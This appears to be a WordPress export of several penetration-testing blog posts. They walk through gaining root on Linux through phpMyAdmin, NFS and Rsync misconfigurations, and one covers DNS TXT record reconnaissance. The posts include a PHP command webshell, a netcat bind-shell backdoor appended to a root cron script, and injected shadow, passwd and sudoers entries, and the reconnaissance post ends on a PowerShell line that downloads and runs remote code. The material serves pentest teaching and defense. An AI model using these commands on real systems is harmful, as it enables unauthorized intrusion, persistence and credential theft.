[post_title] => Linux Hacking Case Studies Part 4: Sudo Horror Stories [post_excerpt] => This blog will cover different ways to approach SSH password guessing and attacking sudo applications to gain a root shell on a Linux system. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => linux-hacking-case-studies-part-4-sudo-horror-stories [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:59:14 [post_modified_gmt] => 2021-06-08 21:59:14 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11375 [menu_order] => 148 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [8] => WP_Post Object ( [ID] => 11333 [post_author] => 17 [post_date] => 2020-03-25 07:00:52 [post_date_gmt] => 2020-03-25 07:00:52 [post_content] =>

This blog will walk-through how to attack insecure phpMyAdmin configurations and world writable files to gain a root shell on a Linux system. This case study commonly makes appearances in CTFs, but the general approach for attacking phpMyAdmin can be applied to many web applications. This should be a fun walk-through for people new to penetration testing, or those looking for a phpMyAdmin attack refresher.

This is the third of a five part blog series highlighting entry points and local privilege escalation paths commonly found on Linux systems during real network penetration tests.

Below are links to the first two blogs in the series:

Below is an overview of what will be covered in this blog:

What is phpMyAdmin?

phpMyAdmin is a web application that can be used to manage local MySQL databases. It’s commonly found in environments of all sizes and occasionally accessible directly from the internet. It's often used as part of open source projects and as a result some administrators don't realize that it's been installed in their environment. Developers also use it to temporarily spin up/down basic test environments, and we commonly see those turn into permanently unmanaged installations on corporate networks. Since we see phpMyAdmin so often, we thought it would be worth sharing a basic overview of how to use it to get a foothold on a system.
To get started, let's talk about findings phpMyAdmin instances.

Accessing NATed Environments

At the risk of adding unnecessary complexity to this scenario, we're going to assume that all of our tests are being conducted from a system that's in a NATed environment.  Meaning that we're pretending to connect to a SSH server that is exposed to the internet through a firewall, but the environment we're attacking is on the other side of the firewall.

Finding PHPMyAdmin

phpMyAdmin is a web application that’s usually hosted by Apache, but it can be hosted by other web servers.  Sometimes it’s installed in the web root directory,  but more commonly we see it installed off of the /phpMyAdmin path. For example, http://server/phpMyAdmin.

With this knowledge let's start searching for web serves that might be hosting phpMyAdmin instances using our favorite port scanner Nmap:

nmap -sT -sV -p80,443 192.168.1.0/24 -oA phpMyAdmin_scan

Next we can quickly search the phpMyAdmin_scan.gnmap output file for open ports with the command below:

grep -i "open" phpMyAdmin_scan.gnmap


We can see a few Apache instances. We can now target those to determine if phpMyAdmin is being hosted on the webroot or /phpMyAdmin path.

Since we are SSHing into a NATed environment we are going to forward port 80 through an SSH tunnel to access the web server hosted on 192.168.1.171.  In most cases you wont have to do any port forwarding, but I thought it would be fun to cover the scenario. A detailed overview of SSH tunneling and SOCKS proxies are out of scope for this blog, but below is my attempt to illustrate what we're doing.

Tunnel

Below are a couple of options for SSH tunnling to the target web server.

Linux SSH Client

ssh pentest@ssh.servers.com -L 2222:192.168.1.171:80

Windows PuTTY Client

Once port forwarding is configured, we're able to access phpMyAdmin by navigating to http://127.0.0.1:2222/phpmyadmin in our local web browser.

Dictionary Attacks against PHPMyAdmin

Now that we've found a phpMyAdmin instance the next step is usually to test for default credentials, which are root:[blank].   For the sake of this lab we'll assume the default has been changed, but all is not lost.  From here we can conduct a basic dictionary attack to test for common user/password combinations without causing trouble.  However, you should always research the web application you're performing dictionary attacks against to ensure that you don't cause account lockouts.

There are a lot of great word lists out there, but for the sake of this scenario we kept it simple with the list below.

User List:

echo root >> /tmp/users.txt
echo admin >> /tmp/users.txt
echo user >> /tmp/users.txt

Password List:

echo password >> /tmp/passwords.txt
echo Password >> /tmp/passwords.txt

You can use a tool like Burp Intruder to conduct dictionary attacks against phpMyAdmin (and other web applications), but a nice article is already available on the topic here.  So to show an alternative we'll use Metasploit since it has a module built for the task.  Below are some commands to get you started.

Note: Metasploit is installed on the Kali Linux distribution by default.

msfconsole
use auxiliary/scanner/http/phpMyAdmin_login
set rhosts 192.168.1.171
set USER_AS_PASS true
set targeturi /phpMyAdmin/index.php
set user_file /tmp/users.txt
set pass_file /tmp/passwords.txt
run

Below is a screenshot of what a successful dictionary attack looks like.

Bf

If the dictionary attack discovers valid credentials, you're ready to login and move onto the next step. Below is a short video showing the dictionary attack process using Metasploit.

Uploading WebShells through PHPMyAdmin

Now that we've guessed the password, the goal is to determine if there is any functionality that may allow us to execute operating system commands on the server.  MySQL supports user defined functions that could be used, but instead we're going to write a webshell to the webroot using the OUTFILE function.

Note: In most multi-tiered environments writing a webshell to the webroot through SQL injection wouldn't work, because the database and web server are not hosted on the same system. phpMyAdmin is a bit of an exception in that regard, but LAMP, WAMP, and XAMPP are other examples. It's also worth noting that in some environments the mysql services account may not have write access to the webroot or phhMyAdmin directories.

MySQL Code to Write a Webshell

To get started click the "SQL" button to view the query window.  Then execute the query below to upload the custom PHP webshell that can be used to execute commands on the operating system as the Apache service account. Remember that phpMyAdmin may not always be installed to /var/www/phpMyAdmin when executing this in real environments.

SELECT "<HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><?php if($_GET['cmd']) {​​system($_GET['cmd']);}​​ ?> </pre></BODY></HTML>"

INTO OUTFILE '/var/www/phpMyAdmin/cmd.php'

The actual code can be downloaded here, but below is screenshot showing it in context.

Uploadwebshell

The webshell should now be available at http://127.0.0.1:2222/phpMyAdmin/cmd.php.  With that in hand we can start issuing OS commands and begin privilege escalation.
Below are a few commands to start with:

whoami 
ls –al
ls /
Ls

Below is a quick video illustrating the process.

Note: When you're all done with your webshell make sure to remove it.  Also, consider adding authentication to your webshells so you're not opening up holes in client environments.

Locating World Writable Files

World-writable files and folders can be written to by any user.  They aren’t implicitly bad, but when those files are directly or indirectly executed by the root user they can be used to escalate privileges.

Finding World-Writable Files

Below is the command we'll run through our webshell to locate potentially exploitable world writable files.

find / -maxdepth 3 -type d -perm -777 2>/dev/null
Ww A

From here we can start exploring some of the affected files and looking for potentially exploitable targets.

Exploiting a World Writable Root Cron Job Script

In our example below, the /scripts/ directory is world-writable.  It appears to contain a script that is run by the a root cron job.  While this isn’t incredibly common, we have seen it in the wild.  The general idea can be applied to sudo scripts as well.  There are a lot of things we could write to the root cron job script, but for fun we are going to add a line to the script that will start a netcat listener as root.  Then we can connect to the listener from our Linux system.

Display Directory Listing for Scripts

ls /scripts
cat /scripts/rootcron.sh
Scriptdirectory

Add Netcat Backdoor to Root’s Crontab Script

echo "nc -l -p12345 -e /usr/bin/sh& 2>/dev/null" >> /scripts/rootcron.sh
cat /scripts/rootcron.sh
Writetoscript

You’ll have to wait for the cron job to trigger, but after that you should be able to connect the netcat backdoor listening on port 12345 from the Linux system.

Below are a few commands you might want to try once connected:

nc 192.168.1.171 12345
whoami
pwd
cat /etc/shadow
w
Rootshell

I acknowledge that this seems like an exaggerated scenario, but sometimes reality is stranger than fiction. While this isn’t a common occurrence we have seen very similar scenarios during real penetration tests.  For scenarios that require a reverse shell instead of a bind shell, pentestmonkey.net has a few documented options here.   However, below is a quick video showing the netcat backdoor installation and access.

Wrap Up

This blog illustrated one way to obtain a root shell on a remote Linux system using a vulnerable phpMyAdmin installation and a world writable script being executed by a root cron job . While there are many ways to reach the same end, I think the moral of this story is that web admin interfaces can be soft targets, and often support functionality that can lead to command execution.  Also, performing web application discovery and maintenance is an important part of vulnerability management that is often overlooked. Hopefully this blog will be useful to new pentesters and defenders trying to better understand the potential impacts associated with insecurely configured web platforms like phpMyAdmin in their environments. Good luck and hack responsibly!

[post_title] => Linux Hacking Case Studies Part 3: phpMyAdmin [post_excerpt] => This blog will walkthrough how to attack insecure phpMyAdmin configurations and world writable files to gain a root shell on a Linux system. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => linux-hacking-case-studies-part-3-phpmyadmin [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:59:03 [post_modified_gmt] => 2021-06-08 21:59:03 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11333 [menu_order] => 150 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [9] => WP_Post Object ( [ID] => 11309 [post_author] => 17 [post_date] => 2020-03-24 07:00:52 [post_date_gmt] => 2020-03-24 07:00:52 [post_content] =>

This blog will walk through how to attack insecure NFS exports and setuid configurations in order to gain a root shell on a Linux system. This should be a fun overview for people new to penetration testing, or those looking for a NFS refresher. This is the second of a five part blog series highlighting entry points and local privilege escalation paths commonly found on Linux systems during real network penetration tests.  The first blog focused on attacking Rsync and can be found here.

Below is an overview of what will be covered in this blog:

What is NFS and Why Should I Care?

Network File System (NFS) is a clear text protocol that is used to transfer files between systems. So what’s the problem? Insecurely configured NFS servers are found during our internal network penetration tests about half of the time. The weak configurations often provide unauthorized access to sensitive data and sometimes the means to obtain a shell on the system. As you might imagine, the access we get is largely dependent on the NFS configuration.

Remotely accessing directories shared through NFS exports requires two things, mount access and file access.

  1. Mount access can be restricted by hostname or IP in /etc/exports, but in many cases no restrictions are applied.  It's also worth noting that IP and hostnames are easy to impersonate (assuming you know what to impersonate).
  2. File access is made possible by configuring exports in /etc/exports and labeling them as readable/writable. File access is then restricted by the connecting user's UID, which can be spoofed.  However, it should be noted that there are some mitigating controls such as "root squashing", that can be enabled in /etc/exports to prevent access from a UID of 0 (root).

The Major Issue with NFS

If it’s possible to mount NFS exports, the UID can usually be manipulated on the client system to bypass file permissions configured on the directory being made available via the NFS export. Access could also be accidentally given if the UID on the file and the UID of the connecting user are the same.

Below is a overview of how unintended access can occur:

  1. On “Server 1” there is a user named “user1” with a UID of 1111.
  2. User1 creates a file named “secret” that is only accessible to themselves and root using a command like “chmod 600 secret”.
  3. A read/write NFS export is then created on Server1 with no IP restrictions that maps to the directory containing user1’s secret file.
  4. On a separate Linux Client System, there is a user named “user2” that also has a UID of 1111.   When user2 mounts the NFS export hosted by Server1, they can read the secret file, because their UID matches the UID of the secret file’s owner (user1 on server1).

Below is an attempt at illustrating the scenario.

Nfs

Finding NFS Servers

NFS listens on UDP/TCP ports 111 and 2049.  Use common tools like nmap identify open NFS ports.

nmap -sS -pT:2049,111,U:2049,111 192.168.1.0/24 -oA nfs_scan
grep -i "open" nfs_scan.gnmap
Nfs

Use common tools like nmap or rpcinfo to determine the versions of NFS currently supported. This may be important later. We want to force the use of version 3 or below so we can list and impersonate the UID of the file owners. If root squashing is enabled that may be a requirement for file access.

Enumerate support NFS versions with Nmap:

nmap -sV -p111,2049 192.168.1.171

Enumerate support NFS versions with rpcinfo:

apt-get install nfs-client
rpcinfo -p 192.168.1.171
Nfs

Below is a short video that shows the NFS server discovery process.

Enumerating NFS Exports

Now we want to list the available NFS exports on the remote server using Metasploit or showmount.

Metasploit example:

root@kali:~# msfconsole
msf &gt; use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) &gt; set rhosts 192.168.1.171
msf auxiliary(nfsmount) &gt; run
Nfs

Showmount example:

apt-get install samba
showmount -e 192.168.1.171
Nfs

Mounting NFS Exports

Now we want to mount the available NFS exports while running as root. Be sure to use the “-o vers=3” flag to ensure that you can view the UIDs of the file owners.  Below are some options for mounting the export.

mkdir demo
mount -o vers=3 192.168.1.171:/home demo
mount -o vers=3 192.168.1.222:/home demo -o nolock

or

mount -t nfs -o vers=3 192.168.1.171:/home demo

or

mount -t nfs4 -o proto=tcp,port=2049 192.168.1.171:/home demo
Nfs

Viewing UIDs of NFS Exported Directories and Files

If you have full access to everything then root squashing may not be enabled. However, if you get access denied messages, then you’ll have to impersonate the UID of the file owner and remount the NFS export to get access (not covered in this blog).

List UIDs using mounted drive:

ls -an
Nfs

List UIDs using nmap:

nmap --script=nfs-ls 192.168.1.171 -p 111
Nfs

Searching for Passwords and Private Keys (User Access)

Alrighty, let’s assume you were able to access the NFS with root or another user.  Now it’s time to try to find passwords and keys to access the remote server.  Private keys are typically found in /home/<user>/.ssh directories, but passwords are often all over the place.

Find files with “Password” in the name:

cd demo
find ./ -name "*password*"
cat ./test/password.txt
Nfs

Find private keys in .ssh directories:

mount 192.168.1.222:/ demo2/
cd demo2
find ./ -name "id_rsa"
cat ./root/.ssh/id_rsa
Nfs

Below is a short via showing the whole mounting and file searching process.

Targeting Setuid (Getting Root Access)

Now that we have an interactive shell as a least privilege user (test), there are lots of privilege escalation paths we could take, but let's focus on setuid binaries for this round. Binaries can be configured with the setuid flag, which allows users to execute them as the binary's owner.  Similarly, binaries configured with the setguid flag, which allow users to execute the flag binary as the group associated with the file.  This can be a good and bad thing for system administrators.

  • The Good news is that setuid binaries can be used to safely execute privileged commands such as passwd.
  • The Bad news is that setuid binaries can often be used for privilege escalation if they are owned by root and allow direct execution of arbitrary commands or indirect execution of arbitrary commands through plugins/modules.

Below are commands that can be used to search for setuid and setguid binaries.

Find Setuid Binaries

find / -perm -u=s -type f 2&gt;/dev/null

Find Setguid Binaries

find / -perm -g=s -type f 2&gt;/dev/null

Below is an example screenshot you might encounter during a pentest.

Nfs

Once again, the goal is usually to get the binary to execute arbitrary code as root for you. In real world scenarios you'll likely have to do a little research or reversing of target setuid binaries in order to determine the best way to do that. In our case, the /home/test/exec binary allows us to directly execute OS commands as root. The source code for the example application can be found at https://github.com/nullbind/Other-Projects/blob/master/random/exec.c.

Below are the sample commands and a screenshot:

cd /home/test/
./exec
whoami
Nfs

As you can see from the image above, it was possible to execute arbitrary commands as root without too much effort. Below is a video showing the whole setuid exploitation process in action.

Wrap Up

This blog illustrated one way to obtain a root shell on a remote Linux system using a vulnerable NFS export and insecure setuid binary . While there are many ways to obtain the same end, I think the moral of the story is to make sure that all network share types are configured with least privilege to help prevent unauthorized access to data and systems. Hopefully this blog will be useful to new pentesters and defenders trying to better understand the potential impacts associated with insecurely configured NFS servers. Good luck and hack responsibly!

[post_title] => Linux Hacking Case Studies Part 2: NFS [post_excerpt] => This blog will walk through how to attack insecure NFS exports and setuid configurations in order to gain a root shell on a Linux system. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => linux-hacking-case-studies-part-2-nfs [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:58:50 [post_modified_gmt] => 2021-06-08 21:58:50 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11309 [menu_order] => 151 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [10] => WP_Post Object ( [ID] => 11299 [post_author] => 17 [post_date] => 2020-03-23 07:00:05 [post_date_gmt] => 2020-03-23 07:00:05 [post_content] =>

This blog will walk through how to attack insecure Rsync configurations in order to gain a root shell on a Linux system. This should be a fun walkthrough for people new to penetration testing, or those looking for a Rsync refresher. This will be the first of a five part blog series highlighting entry points and local privilege escalation paths commonly found on Linux systems during real network penetration tests.

Below is an overview of what will be covered in this blog:

What is RSYNC and Why Should I Care?

Rsync is a utility for transferring and synchronizing files between two servers (usually Linux).  It determines synchronization by checking file sizes and timestamps. So what's the problem?
Insecurely configured Rsync servers are found during our network penetration tests about a third of the time. The weak configurations often provide unauthorized access to sensitive data, and sometimes the means to obtain a shell on the system. As you might imagine, the access we get is largely dependent on the Rsync configuration.

Remotely accessing directories shared through Rsync requires two things, file share access and file permissions.

  1. File Share Access can be defined in /etc/Rsyncd.conf to provide anonymous or authenticated access.
  2. File Permissions can also be defined in /etc/Rsyncd.conf by defining the user that the Rsync service will run as. If Rsync is configured to run as root, then anyone allowed to connect can access the shared files with the privileges of the root user.

Below is an example of Rsyncd.conf file that allows anonymous root access to the entire file system:

motd file = /etc/Rsyncd.motd
lock file = /var/run/Rsync.lock
log file = /var/log/Rsyncd.log
pid file = /var/run/Rsyncd.pid

[files]
path = /
comment = Remote file share.
uid = 0
gid = 0
read only = no
list = yes

Finding RSYNC Servers

By default, the Rsync service listens on port 873. It’s often found configured without authentication or IP restrictions. You can discover Rsync services using tools like nmap.

nmap -sS -sV -p873 192.168.1.0/24 –oA Rsync_scan
grep –i "open" Rsync_scan.gnmap
Rsync

Enumerating RSYNC Shares

Below are commands that can be used to list the available directories and files.

List directory

rsync 192.168.1.171::

List sub directory contents

rsync 192.168.1.171::files

List directories and files recursively

rsync -r 192.168.1.171::files/tmp/
Rsync

Downloading Files via RSYNC

Below are commands that can be used to download the identified files via Rsync.  This makes it easy to pull down files containing passwords and sensitive data.

Download files

rsync 192.168.1.171::files/home/test/mypassword.txt .

Download folders

rsync -r 192.168.1.171::files/home/test/
Rsync

Uploading Files via RSYNC

Below are commands that can be used to upload files using Rsync.  This can be handy for dropping scripts and binaries into folder locations where they will be automatically executed.

Upload files

rsync ./myfile.txt 192.168.1.171::files/home/test

Upload folders

rsync -r ./myfolder 192.168.1.171::files/home/test
Rsync

Creating a New User through Rsync

If Rsync is configured to run as root and is anonymously accessible, it’s possible to create a new privileged Linux user by modifying the shadow, passwd, group, and sudoers files directly.

Note: The same general approach can be used for any vulnerability that provides full write access to the OS. A few other examples include NFS exports and uploading web shells running as root.

Creating the Home Directory
Let’s start by creating our new user’s home directory.

# Create local work directories
mkdir demo
mkdir backup
cd demo

# Create new user’s home directory
mkdir ./myuser
rsync -r ./myuser 192.168.1.171::files/home

Create the Shadow File Entry
The /etc/shadow file is the Linux password file that contains user information such as home directories and encrypted passwords. It is only accessible by root.

To inject a new user entry via Rsync you’ll have to:

  1. Generate a password.
  2. Create the line to inject.
  3. Download /etc/shadow. (and backup)
  4. Append the new user to the end of /etc/shadow
  5. Upload / Overwrite the existing /etc/shadow

Note: Make sure to create a new user that doesn’t already exist on the system. ;)

Create Encrypted Password:

openssl passwd -crypt password123

Add New User Entry to /etc/shadow:

rsync -R 192.168.1.171::files/etc/shadow .
cp ./etc/shadow ../backup
echo "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" &gt;&gt; ./etc/shadow
rsync ./etc/shadow 192.168.1.171::files/etc/

Create Passwd File Entry
The /etc/passwd file is used to keep track of registered users that have access to the system. It does not contain encrypted password. It can be read by all users.

To inject a new user entry via Rsync you’ll have to:

  1. Create the user entry to inject.
  2. Download /etc/passwd. (and back it up so you can restore state later)
  3. Append the new user entry to the end of passwd.
  4. Upload / Overwrite the existing /etc/passwd

Note: Feel free to change to uid, but make sure it matches the value set in the /etc/group file. :) In this case the UID/GUID are 1021.

Add New User Entry to /etc/passwd:

rsync -R 192.168.1.171::files/etc/passwd .
cp ./etc/passwd ../backup
echo "myuser:x:1021:1021::/home/myuser:/bin/bash" &gt;&gt; ./etc/passwd
rsync ./etc/passwd 192.168.1.171::files/etc/

Create the Group File Entry
The /etc/group file is used to keep track of registered group information on the system. It does not contain encrypted password. It can be read by all users.

To inject a new user entry via Rsync you’ll have to:

  1. Create the user entry to inject.
  2. Download /etc/group. (and backup, just in case)
  3. Append the new user entry to the end of group.
  4. Upload / Overwrite the existing /etc/group file.

Note: Feel free to change to uid, but make sure it matches the value set in the /etc/passwd file. :) In this case the UID/GUID are 1021.

Add New User Entry to /etc/group:

rsync -R 192.168.1.171::files/etc/group .
cp ./etc/group ../backup
echo "myuser:x:1021:" &gt;&gt; ./etc/group
rsync ./etc/group 192.168.1.171::files/etc/

Create Sudoers File Entry
The /etc/sudoers file contains a list of users that are allowed to run commands as root using the sudo command. It can only be read by root. We are going to modify it to allow the new user to execute any command through sudo.

To inject a entry via Rsync you’ll have to:

  1. Create the user entry to inject.
  2. Download /etc/sudoers. (and backup, just in case)
  3. Append the new user entry to the end of sudoers.
  4. Upload / Overwrite the existing /etc/sudoers file.

Add New User Entry to /etc/sudoers:

rsync -R 192.168.1.171::files/etc/sudoers .
cp ./etc/sudoers ../backup
echo "myuser ALL=(ALL) NOPASSWD:ALL" &gt;&gt; ./etc/sudoers   
rsync ./etc/sudoers 192.168.1.171::files/etc/

Now you can simply log into the server via SSH using your newly created user and sudo sh to root!

Attacking Rsync Demo Video

Below is a video created in a lab environment that shows the process of identifying and exploiting an insecurely configured Rsync server to gain a root shell. While it see too simple to be true, it is based on configurations exploited during real penetration tests.

Wrap Up

This blog illustrated one way to obtain a root shell on a remote Linux system using a vulnerability that provided write access.  While there are many ways to obtain the same end, I think the moral of the story is to make sure that all network share types are configured with least privilege to help prevent unauthorized access to data and systems.   Hopefully this blog will be useful to new pentesters and defenders trying to better understand the potential impacts associated with insecurely configured Rsync servers.  Good luck and hack responsibly!

The next blog in the series focuses on NFS and setuid binaries, it can be found here.

References

[post_title] => Linux Hacking Case Studies Part 1: Rsync [post_excerpt] => This blog will walk through how to attack insecure Rsync configurations in order to gain a root shell on a Linux system. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => linux-hacking-case-studies-part-1-rsync [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:58:47 [post_modified_gmt] => 2021-06-08 21:58:47 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11299 [menu_order] => 153 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [11] => WP_Post Object ( [ID] => 17444 [post_author] => 2 [post_date] => 2020-02-23 15:37:45 [post_date_gmt] => 2020-02-23 15:37:45 [post_content] =>

Learn about one of the open source projects from the NetSPI toolbox called PowerUpSQL. PowerUpSQL can be used to blindly inventory SQL Servers, audit them for common security misconfigurations, and exploit identified vulnerabilities during pentests and red teams operations. PowerUpSQL is an open source tool available on GitHub, learn more at http://powerupsql.com/.

For more open source projects from NetSPI check out https://github.com/netspi.

https://youtu.be/7sT1OQEtXlg
[post_title] => Attacking Modern Environments through SQL Server with PowerUpSQL [post_excerpt] => Learn about one of the open source projects from the NetSPI toolbox called PowerUpSQL. PowerUpSQL can be used to blindly inventory SQL Servers, audit them for common security misconfigurations, and exploit identified vulnerabilities during pentests and red teams operations. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => attacking-modern-environments-through-sql-server-with-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-06-02 08:58:25 [post_modified_gmt] => 2021-06-02 08:58:25 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=17444 [menu_order] => 44 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [12] => WP_Post Object ( [ID] => 11219 [post_author] => 17 [post_date] => 2019-11-18 07:00:30 [post_date_gmt] => 2019-11-18 07:00:30 [post_content] => DNS reconnaissance is an important part of most external network penetration tests and red team operations. Within DNS reconnaissance there are many areas of focus, but I thought it would be fun to dig into DNS TXT records that were created to verify domain ownership. They’re pretty common and can reveal useful information about the technologies and services being used by the target company. In this blog I’ll walkthrough how domain validation typically works, review the results of my mini DNS research project, and share a PowerShell script that can be used to fingerprint online service providers via DNS TXT records. This should be useful to red teams and internal security teams looking for ways to reduce their internet facing footprint. Below is an overview of the content if you want to skip ahead:

Domain Ownership Validation Process

When companies or individuals want to use an online service that is tied to one of their domains, the ownership of that domain needs to be verified.  Depending on the service provider, the process is commonly referred to as “domain validation” or “domain verification”. Below is an outline of how that process typically works:
  1. The company creates an account with the online service provider.
  2. The company provides the online service provider with the domain name that needs to be verified.
  3. The online service provider sends an email containing a unique domain validation token (text value) to the company’s registered contact for the domain.
  4. The company then creates a DNS TXT record for their domain containing the domain validation token they received via email from the online service provider.
  5. The online service provider validates domain ownership by performing a DNS query to verify that the TXT record containing the domain validation token has been created.
  6. In most cases, once the domain validation process is complete, the company can remove the DNS TXT record containing the domain validation token.
It’s really that last step that everyone seems to forget to do, and that’s why simple DNS queries can be so useful for gaining insight into what online service providers companies are using. Note: The domain validation process doesn’t always require a DNS TXT entry.  Some online service providers simply request that you upload of a text file containing the domain validation token to the webroot of the domain’s website.  For example, http://mywebsite.com/validation_12345.txt.  Google dorking can be a handy way to find those instances if you know what you’re looking for, but for now let’s stay focused on DNS records.

Analyzing TXT Records for a Million Domains

Our team has been gleaning information about online service providers from DNS TXT records for years,  but I wanted a broader understanding of what was out there.  So began my journey to identify some domain validation token trends.

Choosing a Domain Sample

I started by simply grabbing DNS TXT records for the Alexa top 1 million sites.  I used a slightly older list, but for those looking to mine that information on a reoccurring basis, Amazon has a service you can use at https://aws.amazon.com/alexa-top-sites/.

Tools for Querying TXT Records

DNS TXT records can be easily viewed with tools like nslookup, host, dig, massdns, or security focused tools like dnsrecon .  I ended up using a basic PowerShell script to make all of the DNS requests, because PowerShell lets me be lazy. 😊  It was a bit slow, but it still took less than a day to collect all of the TXT records from 1 million sites. Below is the basic collection script I used.
# Import list of domains
$Domains = gc c:tempdomains.txt

# Get TXT records for domains
$txtlist = $Domains |
ForEach-Object{
    Resolve-DnsName -Type TXT $_ -Verbose
}

# Filter out most spf records
$Results = $txtlist  | where type -like txt |  select name,type,strings | 
ForEach-Object {
    $myname = $_.name
    $_.strings | 
    foreach {
        
        $object = New-Object psobject
        $object | add-member noteproperty name $myname
        $object | add-member noteproperty txtstring $_
        if($_ -notlike "v=spf*")
        {
            $object
        }
    }
} | Sort-Object name

# Save results to CSV
$Results | Export-Csv -NoTypeInformation dnstxt-records.csv

# Return results to console
$Results

Quick and Dirty Analysis of Records

Below is the high level process I used after the information was collected:
  1. Removed remaining SPF records
  2. Parsed key value pairs
  3. Sorted and grouped similar keys
  4. Identified the service providers through Google dorking and documentation review
  5. Removed keys that were completely unique and couldn’t be easily attributed to a specific service provider
  6. Categorized the service providers
  7. Identified most commonly used service provider categories based on domain validation token counts
  8. Identified most commonly used service providers based on domain validation token counts

Top 5 Service Provider Categories

After briefly analyzing the DNS TXT records for approximately 1 million domains, I’ve created a list of the most common online service categories and providers that require domain validation. Below are the top 5 categories:
 PLACE CATEGORY
1 Cloud Service Providers with full suites of online services like Google, Microsoft, Facebook, and Amazon seemed to dominate the top of the list.
2 Certificate Authorities like globalsign were a close second.
3 Electronic Document Signing like Adobe sign and Docusign hang around third place.
4 Collaboration Solutions like Webex, Citrix, and Atlassian services seem to sit around fourth place collectively.
5 Email Marketing and Website Analytics providers like Pardot and Salesforce seemed to dominate the ranks as well, no surprise there.
There are many other types of services that range from caching services like Cloudflare to security services like “Have I Been Pwned”, but the categories above seem to be the most ubiquitous. It’s also worth noting that I removed SPF records, because technically there are not domain validation tokens.  However, SPF records are another rich source of information that could potentially lead to email spoofing opportunities if they aren’t managed well.  Either way, they were out of scope for this blog.

Top 25 Service Providers

Below are the top 25 service providers I was able to fingerprint based on their domain validation token (TXT record).  However, in total I was able to provide attribution for around 130.
 COUNT PROVIDER CATEGORY EXAMPLE TOKEN
149785 gmail.com Cloud Services google-site-verification=ZZYRwyiI6QKg0jVwmdIha68vuiZlNtfAJ90msPo1i7E
70797 microsoft office 365 Cloud Services ms=hash
16028 facebook.com Cloud Services facebook-domain-verification=zyzferd0kpm04en8wn4jnu4ooen5ct
11486 globalsign.com Certificate Authority _globalsign-domain-verification=Zv6aPQO0CFgBxwOk23uUOkmdLjhc9qmcz-UnQcgXkA
5097 Adobe Enterprise Services Electronic Signing,Cloud Services adobe-idp-site-verification=ffe3ccbe-f64a-44c5-80d7-b010605a3bc4
4093 Amazon Simple Email Cloud Services amazonses:ZW5WU+BVqrNaP9NU2+qhUvKLdAYOkxWRuTJDksWHJi4=
3605 globalsign.com Certificate Authority globalsign-domain-verification=zPlXAjrsmovNlSOCXQ7Wn0HgmO--GxX7laTgCizBTW
3486 atlassian services Collaboration atlassian-domain-verification=Z8oUd5brL6/RGUMCkxs4U0P/RyhpiNJEIVx9HXJLr3uqEQ1eDmTnj1eq1ObCgY1i
2700 mailru- Cloud Services mailru-verification: fa868a61bb236ae5
2698 yandex.com Cloud Services yandex-verification=fb9a7e8303137b4c
2429 Pardot (Salesforce) Marketing and Analytics pardot_104652_*=b9b92faaea08bdf6d7d89da132ba50aaff6a4b055647ce7fdccaf95833d12c17
2098 docusign.com Electronic Signing docusign=ff4d259b-5b2b-4dc7-84e5-34dc2c13e83e
1468 webex Collaboration webexdomainverification.P7KF=bf9d7a4f-41e4-4fa3-9ccb-d26f307e6be4
1358 www.sendinblue.com Marketing and Analytics Sendinblue-code:faab5d512036749b0f69d906db2a7824
1005 zoho.com Email zoho-verification=zb[sequentialnumber].zmverify.zoho.[com|in]
690 dropbox.com Collaboration dropbox-domain-verification=zsp1beovavgv
675 webex.com Collaboration ciscocidomainverification=f1d51662d07e32cdf508fe2103f9060ac5ba2f9efeaa79274003d12d0a9a745
607 Spiceworks.com Security workplace-domain-verification=BEJd6oynFk3ED6u0W4uAGMguAVnPKY
590 haveibeenpwned.com Security have-i-been-pwned-verification=faf85761f15dc53feff4e2f71ca32510
577 citrix.com Collaboration citrix-verification-code=ed1a7948-6f0d-4830-9014-d22f188c3bab
441 brave.com Collaboration brave-ledger-verification=fb42f0147b2264aa781f664eef7d51a1be9196011a205a2ce100dc76ab9de39f
427 Adobe Sign / Document Cloud Electronic Signing adobe-sign-verification=fe9cdca76cd809222e1acae2866ae896
384 Firebase (Google) Development and Publishing firebase=solar-virtue-511
384 O365 Cloud Services mscid=veniWolTd6miqdmIAwHTER4ZDHPBmT0mDwordEu6ABR7Dy2SH8TjniQ7e2O+Bv5+svcY7vJ+ZdSYG9aCOu8GYQ==
381 loader.io Security loaderio=fefa7eab8eb4a9235df87456251d8a48

Automating Domain Validation Token Fingerprinting

To streamline the process a little bit I've written a PowerShell function called "Resolve-DnsDomainValidationToken".  You can simply provide it domains and it will scan the associated DNS TXT records for known service providers based on the library of domain validation tokens I created.  Currently it supports parameters for a single domain, a list of domains, or a list of URLs. Resolve-DnsDomainValidationToken can be downloaded HERE.

Command Example

To give you an idea of what the commands and output look like I've provided an example below.  The target domain was randomly selected from the Alexa 1 Million list.
# Load Resolve-DnsDomainValidationToken into the PowerShell session
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerShell/master/Resolve-DnsDomainValidationToken.ps1")

